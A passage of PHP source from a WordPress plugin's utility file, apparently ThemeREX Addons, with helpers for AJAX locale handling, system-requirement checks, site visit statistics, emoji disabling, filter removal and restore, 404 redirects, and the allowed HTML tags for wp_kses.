function trx_addons_ajax_response( $response ) {
echo wp_json_encode( $response );
wp_die( '', '', array( 'exit' => true ) );
}
}
if ( ! function_exists( 'trx_addons_ajax_replace_user_locale' ) ) {
if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
add_filter( 'determine_locale', 'trx_addons_ajax_replace_user_locale' );
}
/**
* Replace a user's locale with the site locale in AJAX requests if a visitor is a logged user.
* Bacause, if a site locale is different from the user's locale - in AJAX requests WordPress
* use a user's locale and return all translations in shortcodes from the user's (not from the site) locale.
* As the result, the site can't get a correct translation for the shortcode's output in AJAX requests.
*
* @hooked determine_locale
*
* @param string $locale Current locale. If a visitor is a logged user - user's locale instead a site locale
*
* @return Modified locale, id user is logged in and its locale is not equal to the site locale
*/
function trx_addons_ajax_replace_user_locale( $locale = null ) {
if ( function_exists( 'is_user_logged_in' ) && is_user_logged_in() && (int)trx_addons_get_value_gp( 'is_admin_request', 0 ) === 0 ) {
$action = trx_addons_get_value_gp( 'action' );
$nonce = trx_addons_get_value_gp( 'nonce' );
$slug = str_replace( '-', '_', get_template() );
if ( ! empty( $nonce ) && ! empty( $action ) && ( strpos( $action, 'trx_addons_' ) === 0 || strpos( $action, "{$slug}_" ) === 0 ) ) {
$site_locale = get_locale();
if ( empty( $locale ) || strpos( $locale, $site_locale ) !== 0 ) {
$locale = $site_locale;
}
}
}
return $locale;
}
}
/* Other utilities
------------------------------------------------------------------------------------- */
if ( ! function_exists('trx_addons_get_sys_info') ) {
/**
* Return system info array
*/
function trx_addons_get_sys_info() {
global $wpdb;
$php_memory_limit = trx_addons_size2num( @ini_get( 'memory_limit' ) );
$php_memory_limit_rec = ( function_exists( 'trx_addons_exists_bbpress' ) && trx_addons_exists_bbpress() ? 256 : 256) * 1024 * 1024;
$php_post_max_size = trx_addons_size2num( @ini_get( 'post_max_size' ) );
$php_post_max_size_rec = 32 * 1024 * 1024;
$php_max_upload_size = wp_max_upload_size();
$php_max_upload_size_rec = 32 * 1024 * 1024;
$php_max_input_vars = @ini_get( 'max_input_vars' );
$php_max_input_vars_rec = 1000;
$php_max_execution_time = @ini_get( 'max_execution_time' );
$php_max_execution_time_rec = 60;
$php_required_version = '7.4';
$wp_required_version = '6.5';
// Check a directory 'uploads' to write access
$wp_uploads_writable = false;
$tmp_name = 'tmp-' . mt_rand() . '.txt';
$tmp = wp_upload_bits( $tmp_name, 0, $tmp_name );
if ( empty( $tmp['error'] ) && ! empty( $tmp['file'] ) && file_exists( $tmp['file'] ) ) {
$tmp_val = trx_addons_fgc( $tmp['file'] );
$wp_uploads_writable = $tmp_val == $tmp_name;
unlink( $tmp['file'] );
}
return apply_filters('trx_addons_filter_get_sys_info', array(
// Checked params
'wp_version' => array(
'title' => __('WP version', 'trx_addons'),
'description' => __( 'The version of WordPress installed on your site.', 'trx_addons' ),
'value' => get_bloginfo( 'version' ),
'recommended' => "{$wp_required_version}+",
'checked' => version_compare( get_bloginfo( 'version' ), $wp_required_version, '>=' ),
),
'wp_uploads_writable' => array(
'title' => __('WP uploads directory writable', 'trx_addons'),
'description' => __( 'The directory must be writable to allow demo data upload, plugin and skin updates, etc.', 'trx_addons' ),
'value' => $wp_uploads_writable ? esc_html__( 'Yes', 'trx_addons' ) : esc_html__( 'No', 'trx_addons' ),
'recommended' => esc_html__( 'Yes', 'trx_addons' ),
'checked' => $wp_uploads_writable,
),
'php_version' => array(
'title' => __('PHP version', 'trx_addons'),
'description' => __( 'The version of PHP installed on your hosting server.', 'trx_addons' ),
'value' => phpversion(),
'recommended' => "{$php_required_version}+",
'checked' => version_compare( phpversion(), $php_required_version, '>=' ),
),
'php_memory_limit' => array(
'title' => __('PHP Memory Limit', 'trx_addons'),
'description' => __( 'The maximum amount of memory (RAM) that your site can use at one time.', 'trx_addons' ),
'value' => size_format( $php_memory_limit ),
'recommended' => size_format( $php_memory_limit_rec ),
'checked' => $php_memory_limit >= $php_memory_limit_rec,
),
'php_post_maxsize' => array(
'title' => __('PHP Post Max Size', 'trx_addons'),
'description' => __( 'The largest filesize that can be contained in one post.', 'trx_addons' ),
'value' => size_format( $php_post_max_size ),
'recommended' => size_format( $php_post_max_size_rec ),
'checked' => $php_post_max_size >= $php_post_max_size_rec,
),
'php_max_upload_size' => array(
'title' => __('PHP Max Upload Size', 'trx_addons'),
'description' => __( 'The largest filesize that can be uploaded to your WordPress installation.', 'trx_addons' ),
'value' => size_format( $php_max_upload_size ),
'recommended' => size_format( $php_max_upload_size_rec ),
'checked' => $php_max_upload_size >= $php_max_upload_size_rec,
),
'php_max_input_vars' => array(
'title' => __('PHP Max Input Vars', 'trx_addons'),
'description' => __( 'The maximum number of variables your server can use for a single function to avoid overloads.', 'trx_addons' ),
'value' => $php_max_input_vars,
'recommended' => $php_max_input_vars_rec . '+',
'checked' => $php_max_input_vars >= $php_max_input_vars_rec,
),
'php_max_execution_time' => array(
'title' => __('PHP Max Execution Time (sec)', 'trx_addons'),
'description' => __( 'The amount of time (in seconds) that your site will spend on a single operation before timing out (to avoid server lockups).', 'trx_addons' ),
'value' => $php_max_execution_time,
'recommended' => $php_max_execution_time_rec . '+',
'checked' => $php_max_execution_time >= $php_max_execution_time_rec,
),
// Info (not checked) params
'wp_memory_limit' => array(
'title' => __('WP Memory limit', 'trx_addons'),
'description' => __( 'The maximum amount of memory (RAM) that your site can use at one time.', 'trx_addons' ),
'value' => defined('WP_MEMORY_LIMIT') ? size_format( trx_addons_size2num( WP_MEMORY_LIMIT ) ) : __('not set', 'trx_addons'),
'recommended' => '', //size_format( 128 * 1024 * 1024 ),
),
'mysql_version' => array(
'title' => __('MySQL version', 'trx_addons'),
'description' => __( 'The version of MySQL installed on your hosting server.', 'trx_addons' ),
'value' => ( ! empty( $wpdb->is_mysql ) ? $wpdb->db_version() : '' ),
'recommended' => '',
),
));
}
}
if ( ! function_exists('trx_addons_get_privacy_text') ) {
/**
* Return text for Privacy Policy link
*/
function trx_addons_get_privacy_text() {
$page = get_option('wp_page_for_privacy_policy');
return apply_filters( 'trx_addons_filter_privacy_text',
wp_kses(
__( 'I agree that my submitted data is being collected and stored.', 'trx_addons' )
. ( '' != $page
// Translators: Add url to the Privacy Policy page
? ' ' . sprintf(__('For further details on handling user data, see our %s', 'trx_addons'),
'<a href="' . esc_url(get_permalink($page)) . '" target="_blank">'
. __('Privacy Policy', 'trx_addons')
. '</a>')
: ''
),
'trx_addons_kses_content'
)
);
}
}
/* Site statistics
-------------------------------------------------------------------------------- */
if ( ! function_exists('trx_addons_statistics_save_visit') ) {
add_action( 'wp', 'trx_addons_statistics_save_visit' );
/**
* Save visit to the site to the log
*
* @hooked action wp
*/
function trx_addons_statistics_save_visit() {
if ( is_admin() || wp_doing_ajax() || wp_doing_cron()
|| trx_addons_is_preview()
|| ! apply_filters( 'trx_addons_filter_save_site_visits', true )
|| ( apply_filters( 'trx_addons_filter_save_site_visits_only_for_cache', false )
&& ( ! trx_addons_is_on( trx_addons_get_option( 'layouts_cache' ) ) || ! trx_addons_is_on( trx_addons_get_option( 'layouts_cache_popular' ) ) )
)
) {
return;
}
$url = trx_addons_get_current_url();
if ( ( strpos( $url, '?s=' ) === false && strpos( $url, '&s=' ) === false ) || apply_filters( 'trx_addons_filter_save_visit_from_search', false ) ) {
$url_hash = md5( $url );
// Load visits
//$visits = get_option( 'trx_addons_site_visits', false );
$visits = trx_addons_cache_get_storage( 'trx_addons_site_visits' );
if ( ! $visits || ! is_array($visits) ) {
$visits = array();
}
if ( empty( $visits[$url_hash] ) ) {
$visits[$url_hash] = array(
'url' => $url,
'count' => 0
);
}
$visits[$url_hash]['title'] = trx_addons_get_blog_title();
$visits[$url_hash]['count']++;
uasort( $visits, 'trx_addons_statistics_compare' );
// Save visits
//update_option( 'trx_addons_site_visits', $visits );
trx_addons_cache_put_storage( 'trx_addons_site_visits', $visits );
}
}
}
if ( ! function_exists( 'trx_addons_statistics_clear_visits' ) ) {
add_action( 'trx_addons_action_just_save_options', 'trx_addons_statistics_clear_visits' );
/**
* Clear a log with site visits when save plugin and/or theme options if a cache if off or a cache for popular layouts is off
*
* @hooked trx_addons_action_just_save_options
*/
function trx_addons_statistics_clear_visits() {
if ( ! apply_filters( 'trx_addons_filter_save_site_visits', true )
|| ( apply_filters( 'trx_addons_filter_save_site_visits_only_for_cache', false )
&& ( ! trx_addons_is_on( trx_addons_get_option( 'layouts_cache' ) ) || ! trx_addons_is_on( trx_addons_get_option( 'layouts_cache_popular' ) ) )
)
) {
//update_option( 'trx_addons_site_visits', false );
trx_addons_cache_delete_storage( 'trx_addons_site_visits' );
}
}
}
if ( ! function_exists('trx_addons_statistics_get_info') ) {
/**
* Return site visits statistic for the specified URL
*
* @param string $url URL to get Statistic. If empty - return current page statistic. If '*' - return all statistic
*
* @return array Statistic
*/
function trx_addons_statistics_get_info( $url='' ) {
if ( empty( $url ) ) {
$url = trx_addons_get_current_url();
}
$url_hash = md5( $url );
$visits = array();
if ( apply_filters( 'trx_addons_filter_save_site_visits', true ) ) {
//$visits = get_option( 'trx_addons_site_visits', false );
$visits = trx_addons_cache_get_storage( 'trx_addons_site_visits' );
}
if ( $url == '*' ) {
return $visits;
} else {
$rez = array(
'count' => 1,
'url' => $url,
'hash' => $url_hash
);
if ( ! empty( $visits[ $url_hash ] ) ) {
$rez = $visits[ $url_hash ];
$rez['hash'] = $url_hash;
$rez['total'] = count( $visits );
$rez['index'] = array_search( $url_hash, array_keys( $visits ) );
} else {
$rez['total'] = is_array( $visits ) ? max( 1, count( $visits ) ) : 1;
$rez['index'] = $rez['total'] - 1;
}
return $rez;
}
}
}
if ( ! function_exists('trx_addons_statistics_get_top_visited') ) {
/**
* Return a top N most visited pages
*
* @return array Top visited pages
*/
function trx_addons_statistics_get_top_visited( $n = 10 ) {
$visits = array();
if ( apply_filters( 'trx_addons_filter_save_site_visits', true ) ) {
//$visits = get_option( 'trx_addons_site_visits', false );
$visits = trx_addons_cache_get_storage( 'trx_addons_site_visits' );
if ( is_array( $visits ) ) {
$summ = 0;
foreach( $visits as $v ) {
$summ += ! empty( $v['count'] ) ? $v['count'] : 0;
}
foreach( $visits as $k => $v ) {
$visits[$k]['percent'] = round( 100 * ( ! empty( $v['count'] ) ? $v['count'] : 0 ) / $summ, 0 );
}
}
}
return is_array( $visits ) ? array_slice( $visits, 0, $n ) : array();
}
}
if ( ! function_exists('trx_addons_statistics_compare') ) {
/**
* Compare two statistics entries (reverse order)
*
* @param array $a First entry
* @param array $b Second entry
*/
function trx_addons_statistics_compare( $a, $b ) {
return $a['count'] > $b['count']
? -1
: ( $a['count'] < $b['count']
? 1
: 0
);
}
}
if ( ! function_exists( 'trx_addons_statistics_importer_export_options' ) ) {
add_filter( 'trx_addons_filter_export_options', 'trx_addons_statistics_importer_export_options' );
/**
* Clear a site visits statistic before export
*
* @hooked filter trx_addons_filter_export_options
*
* @param array $options Export options
*
* @return array Modified export options
*/
function trx_addons_statistics_importer_export_options( $options ) {
if ( ! empty( $options['trx_addons_site_visits'] ) ) {
$options['trx_addons_site_visits'] = '';
}
return $options;
}
}
/* Disable Emojis
-------------------------------------------------------------------------------- */
if ( ! function_exists( 'trx_addons_emoji_disable' ) ) {
add_action( 'init', 'trx_addons_emoji_disable' );
/**
* Disable Emojis
*
* @hooked action init
*/
function trx_addons_emoji_disable() {
if ( (int) trx_addons_get_option( 'disable_emoji' ) > 0 ) {
remove_action( 'wp_head', 'print_emoji_detection_script', 7 );
remove_action( 'embed_head', 'print_emoji_detection_script' );
remove_action( 'admin_print_scripts', 'print_emoji_detection_script' );
remove_filter( 'the_content_feed', 'wp_staticize_emoji' );
remove_filter( 'comment_text_rss', 'wp_staticize_emoji' );
remove_filter( 'wp_mail', 'wp_staticize_emoji_for_email' );
remove_action( 'wp_print_styles', 'print_emoji_styles' );
remove_action( 'admin_print_styles', 'print_emoji_styles' );
add_filter( 'tiny_mce_plugins', 'trx_addons_emoji_disable_for_tinymce' );
add_filter( 'wp_resource_hints', 'trx_addons_emoji_remove_dns_prefetch', 10, 2 );
if ( (int) get_option( 'use_smilies' ) == 1 ) {
update_option( 'use_smilies', '0' );
}
}
}
}
if ( ! function_exists( 'trx_addons_emoji_disable_for_tinymce' ) ) {
/**
* Disable Emojis in TinyMCE
*
* @param array $plugins List of TinyMCE plugins
*
* @return array Modified list of TinyMCE plugins (without 'wpemoji')
*/
function trx_addons_emoji_disable_for_tinymce( $plugins = array() ) {
return is_array( $plugins )
? array_diff( $plugins, array( 'wpemoji' ) )
: array();
}
}
if ( ! function_exists( 'trx_addons_emoji_remove_dns_prefetch' ) ) {
/**
* Remove emoji CDN hostname from DNS prefetching hints.
*
* @param array $urls URLs to print for resource hints.
* @param string $relation_type The relation type the URLs are printed for.
*
* @return array Difference betwen the two arrays.
*/
function trx_addons_emoji_remove_dns_prefetch( $urls, $relation_type ) {
if ( $relation_type == 'dns-prefetch' ) {
$emoji_svg_url = apply_filters( 'emoji_svg_url', 'https://s.w.org/images/core/emoji/11/svg/' );
$urls = array_diff( $urls, array( $emoji_svg_url ) );
}
return $urls;
}
}
/* WordPress filters manipulations
-------------------------------------------------------------------------------- */
if ( ! function_exists( 'trx_addons_remove_filter' ) ) {
/**
* Remove filter from the specified hook by method name and return old settings
*
* @param string $filter_name Filter name
* @param string $callback_name Callback name
* @param string $class_name Class name
*
* @return array Old (removed) settings
*/
function trx_addons_remove_filter( $filter_name, $callback_name, $class_name = '' ) {
global $wp_filter;
$rez = false;
if ( ! empty( $wp_filter[ $filter_name ] ) && ( is_array( $wp_filter[ $filter_name ] ) || is_object( $wp_filter[ $filter_name ] ) ) ) {
foreach ( $wp_filter[ $filter_name ] as $p => $cb ) {
foreach ( $cb as $k => $v ) {
if ( strpos( $k, $callback_name ) !== false
&& ( empty( $class_name )
|| ! is_array( $v['function'] )
|| ! is_object( $v['function'][0] )
// This way needs for the full class name (with namespace)
|| get_class( $v['function'][0] ) == $class_name
// This way compare a class name with a last portion of the full class name
//|| substr( get_class( $v['function'][0] ), strlen( $class_name ) ) == $class_name
)
) {
$rez = array(
'filter' => $filter_name,
'key' => $k,
'callback' => $v,
'priority' => $p
);
remove_filter( $filter_name, $v['function'], $p );
}
}
}
}
return $rez;
}
}
if ( ! function_exists( 'trx_addons_remove_action' ) ) {
/**
* Remove action from the specified hook by method name and return old settings
*
* @param string $filter_name Filter name
* @param string $callback_name Callback name
* @param string $class_name Class name
*
* @return array Old (removed) settings
*/
function trx_addons_remove_action( $filter_name, $callback_name, $class_name = '' ) {
return trx_addons_remove_filter( $filter_name, $callback_name, $class_name );
}
}
if ( ! function_exists( 'trx_addons_restore_filter' ) ) {
/**
* Restore filter to the specified hook by old settings returned by trx_addons_remove_filter
*
* @param array $filter Old (removed) settings of the filter to restore
*/
function trx_addons_restore_filter( $filter ) {
global $wp_filter;
if ( ! empty( $filter['filter'] ) ) {
$filter_name = $filter['filter'];
$filter_key = $filter['key'];
$filter_callback = $filter['callback'];
$filter_priority = $filter['priority'];
if ( ! isset( $wp_filter[ $filter_name ][ $filter_priority ][ $filter_key ] ) ) {
add_filter( $filter_name, $filter_callback['function'], $filter_priority, $filter_callback['accepted_args'] );
}
}
}
}
if ( ! function_exists( 'trx_addons_restore_action' ) ) {
/**
* Restore action to the specified hook by old settings returned by trx_addons_remove_action
*
* @param array $filter Old (removed) settings of the action to restore
*/
function trx_addons_restore_action( $filter ) {
return trx_addons_restore_filter( $filter );
}
}
/* WordPress pages manipulations
-------------------------------------------------------------------------------- */
if ( ! function_exists( 'trx_addons_redirect_404' ) ) {
add_action( 'template_redirect', 'trx_addons_redirect_404', 1 );
/**
* Redirect to the 404 page
*
* @hooked template_redirect
*/
function trx_addons_redirect_404() {
if ( is_404() ) {
$page_id = trx_addons_get_option( 'redirect_404_page', '' );
if ( ! trx_addons_is_off( $page_id ) ) {
if ( trx_addons_get_setting( 'redirect_404_way' ) == 'redirect' ) {
$redirect = get_permalink( $page_id );
if ( ! empty( $redirect ) ) {
wp_redirect( $redirect, 301 );
exit();
}
} else {
global $wp_query, $post;
$post = get_post( $page_id );
if ( is_object( $post ) && ! empty( $post->ID ) && $post->ID == $page_id ) {
// Set query vars
$wp_query->is_404 = false;
$wp_query->is_singular = true;
$wp_query->is_page = true;
$wp_query->is_single = false;
$wp_query->is_category = false;
// Set post data
$wp_query->queried_object = $post;
$wp_query->queried_object_id = $post->ID;
$wp_query->query_vars['page_id'] = $post->ID;
$wp_query->set( 'page_id', $post->ID );
$wp_query->posts = array( $post );
$wp_query->post = $post;
$wp_query->post_count = 1;
$wp_query->current_post = -1;
status_header( 404 );
// Reload page-specific options
trx_addons_call_theme_function( 'override_theme_options' );
}
}
}
}
}
}
/* WordPress wp_kses filter
-------------------------------------------------------------------------------- */
if ( ! function_exists( 'trx_addons_kses_allowed_html' ) ) {
add_filter( 'wp_kses_allowed_html', 'trx_addons_kses_allowed_html', 10, 2 );
/**
* Return the allowed tags list with allowed attributes for using in the wp_kses() calls
* ( if $context is equal to 'trx_addons_kses_inline' ).
*
* Hooks:
*
* add_filter( 'wp_kses_allowed_html', 'trx_addons_kses_allowed_html', 10, 2 );
*
* @param array $tags A default tags list.
* @param string $context A context name.
*
* @return array The modified tags list.
*/
function trx_addons_kses_allowed_html( $tags, $context ) {
if ( in_array( $context, array( 'trx_addons_kses_inline' ) ) ) {
$tags = array(
'span' => array( 'id' => array(), 'class' => array(), 'style' => array(), 'title' => array() ),
'a' => array( 'id' => array(), 'class' => array(), 'style' => array(), 'title' => array(), 'href' => array(), 'target' => array() ),
'b' => array( 'id' => array(), 'class' => array(), 'style' => array(), 'title' => array() ),
'strong' => array( 'id' => array(), 'class' => array(), 'title' => array() ),
'i' => array( 'id' => array(), 'class' => array(), 'style' => array(), 'title' => array() ),
'em' => array( 'id' => array(), 'class' => array(), 'title' => array() ),
'img' => array( 'id' => array(), 'class' => array(), 'style' => array(), 'title' => array(), 'src' => array(), 'width' => array(), 'height' => array(), 'alt' => array() ),
'br' => array( 'clear' => array() ),
'u' => array( 'id' => array(), 'class' => array(), 'style' => array(), 'title' => array() ),
's' => array( 'id' => array(), 'class' => array(), 'style' => array(), 'title' => array() ),
'ins' => array( 'id' => array(), 'class' => array(), 'style' => array(), 'title' => array() ),
'del' => array( 'id' => array(), 'class' => array(), 'style' => array(), 'title' => array(), 'aria-hidden' => array() ),
'tt' => array( 'id' => array(), 'class' => array(), 'style' => array(), 'title' => array() ),
'bdi' => array( 'id' => array(), 'class' => array(), 'style' => array(), 'title' => array(), 'dir' => array() ),
'small' => array( 'id' => array(), 'class' => array(), 'style' => array(), 'title' => array() ),
'big' => array( 'id' => array(), 'class' => array(), 'style' => array(), 'title' => array() ),
'abbr' => array( 'id' => array(), 'class' => array(), 'style' => array(), 'title' => array() ),
'acronym'=> array( 'id' => array(), 'class' => array(), 'style' => array(), 'title' => array() ),
);
}
return $tags;
}
}